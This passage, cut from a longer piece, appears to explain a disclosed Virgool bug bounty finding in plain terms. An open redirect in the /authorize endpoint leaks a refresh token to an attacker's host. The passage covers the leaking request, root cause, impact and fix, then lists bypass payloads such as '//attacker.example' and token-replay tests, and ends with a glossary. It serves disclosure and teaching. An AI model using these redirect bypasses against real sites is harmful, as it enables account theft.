GET /authorize-token?[redacted]&redirectedFrom=http://localhost/v/g.php&nightmode=... HTTP/1.1is the request the victim's browser makes to the attacker's host. The token is right there in the address, which is the whole point: the attacker's server can read it from its own logs or from the request itself.Host: localhostconfirms the request is for the attacker's host, not Virgool.- The
User-Agent,Accept,Accept-LanguageandAccept-Encodingheaders are the victim's browser's usual ones. Referer: http://localhost/v/says the request came from the attacker's page.Upgrade-Insecure-Requests,PragmaandCache-Controlare the browser's usual hints about secure addresses and caching.- The
%22sequences innightmodeare the URL-encoded form of double quotes, because quotes are not allowed raw in a web address.
The token reaches the attacker, and with it the victim's Virgool account could be taken over. The researcher credits Virgool for a fast response and a bounty, and sent a proof-of-concept video with the report.
Root cause
The /authorize endpoint, when called with status=login by a user who already has a session, does not show a login page. It mints an authentication-refresh token and redirects to redirectedFrom with that token in the URL. The value of redirectedFrom is not restricted to Virgool's own hosts, so the token is handed to whatever origin the attacker names. The token is carried in a query string, which makes it readable by the destination server and by anything that logs URLs.
The defences visible in the responses did not help. X-Frame-Options: sameorigin and the frame-src directive of the Content-Security-Policy apply to Virgool's own pages, not to the attacker's page framing virgool.io/authorize, and the token is issued in a top-level navigation of that frame rather than in a script-readable response. The httponly flag on vrgl_sess and jwts protects those cookies from scripts, but the token here is not a cookie: it is a URL parameter. The report does not describe the server-side validation logic, so the exact check that was missing is not stated; likely the redirect target was accepted without an allowlist.
Impact
An attacker who can get a logged-in Virgool user to visit an attacker-controlled page can take over that user's account with a single click, without any interaction beyond loading the page. The attack requires the victim to be authenticated at the time of the visit and to be lured to the attacker's site.
Fix
The report does not describe the fix that Virgool applied. Based on the mechanism, the redirect target in /authorize should be validated against an allowlist of trusted hosts (or restricted to relative paths), and the refresh token should not be delivered in a URL query string to a third-party origin. The report only records that Virgool responded quickly and that the researcher thanks them for the bounty.
Variants to test
- Send
/authorize?redirectedFrom=<attacker host>&status=loginwith a valid session and look for a 302 whoseLocationpoints at the attacker host and carries atokenparameter. A positive result is the token arriving at a host you control. - Try redirect values that bypass naive allowlists: a host that merely contains the trusted domain as a prefix or suffix, a userinfo trick such as
https://[redacted], a scheme-relative//attacker.example, and a path-relative value. A positive result is aLocationheader whose host is not Virgool. - Test the same
redirectedFromparameter with otherstatusvalues, includingchecked, and observe whether the token is still issued or whether the flow changes. A positive result is a token in any redirect you can influence. - Check whether the token-refresh endpoint accepts a token from a different session or after logout, which would widen the window for replay. A positive result is a successful refresh with a token that should have been invalidated.
- Look for the same pattern on other sites with parked domains or third-party login links: any login link whose
redirectedFrom(or equivalent) value is reflected into a redirect after authentication is worth the same test.
Glossary
- Account takeover: a flaw that lets an attacker gain control of another person's account.
- API: the part of a website that programs talk to, exchanging data rather than web pages.
- Allowlist: a list of values that are explicitly permitted, with everything else refused.
- Authentication: the process of proving who you are, usually by logging in.
- Cookie: a small piece of data a site asks the browser to store and send back on later requests, often used to remember a login.
- Content Security Policy (CSP): a set of rules a site sends to the browser saying which sources it may load scripts, images, frames and other content from.
- Cross-site request forgery (XSRF/CSRF): a trick where another site causes your browser to send a request you did not intend; anti-forgery tokens are used to prevent it.
- Domain parking: a feature that lets a user point their own domain at their profile on another site, so the domain mirrors that profile.
- Endpoint: one specific address on a server that performs one specific job.
- GET: the request method used to fetch something from a server.
- Host header: the part of a request that says which site on the server the request is for.
- HTML: the language used to describe the structure of a web page.
- HTTP: the language browsers and servers use to exchange requests and responses.
- HTTPS: HTTP carried over an encrypted connection.
- httponly: a cookie flag meaning scripts on the page cannot read the cookie.
- iframe: a window inside a web page that displays another page.
- JSON: a text format for structured data, made of names and values.
- JWT (JSON Web Token): a standard format for a token that carries proof of identity.
- localhost: the name a computer uses to refer to itself.
- multipart/form-data: a way of formatting a request body as several parts, commonly used for forms and file uploads.
- nginx: a common web server program.
- Open redirect: a flaw where a site sends the visitor to a destination taken from the request without checking that the destination is trusted.
- Origin: the combination of scheme, host and port that identifies where content came from.
- Parameter: a name and value pair attached to a web address after a
?, separated by&. - PHP: a programming language that runs on web servers.
- POST: the request method used to send data to a server.
- Query string: the part of a web address after the
?, holding parameters. - Rate limit: a cap on how many requests a client may make in a period of time.
- Redirect: a server response telling the browser to go to a different address, usually with status code 302.
- Referer: a request header saying which page the request came from.
- secure (cookie flag): a cookie flag meaning the cookie is only sent over HTTPS.
- Session: the period during which a site remembers a logged-in user, usually tracked by a session cookie.
- Source code: the text a browser receives to build a page.
- Status code: a number in a response saying what happened, such as 200 for success or 302 for a redirect.
- Token: a string that stands in for proof of identity, like a temporary pass.
- URL: a web address.
- User-Agent: a request header identifying the browser and operating system.
- X-Frame-Options: a response header controlling whether a page may be shown inside a frame.
- X-XSS-Protection: a legacy response header that switches on a browser filter against cross-site scripting.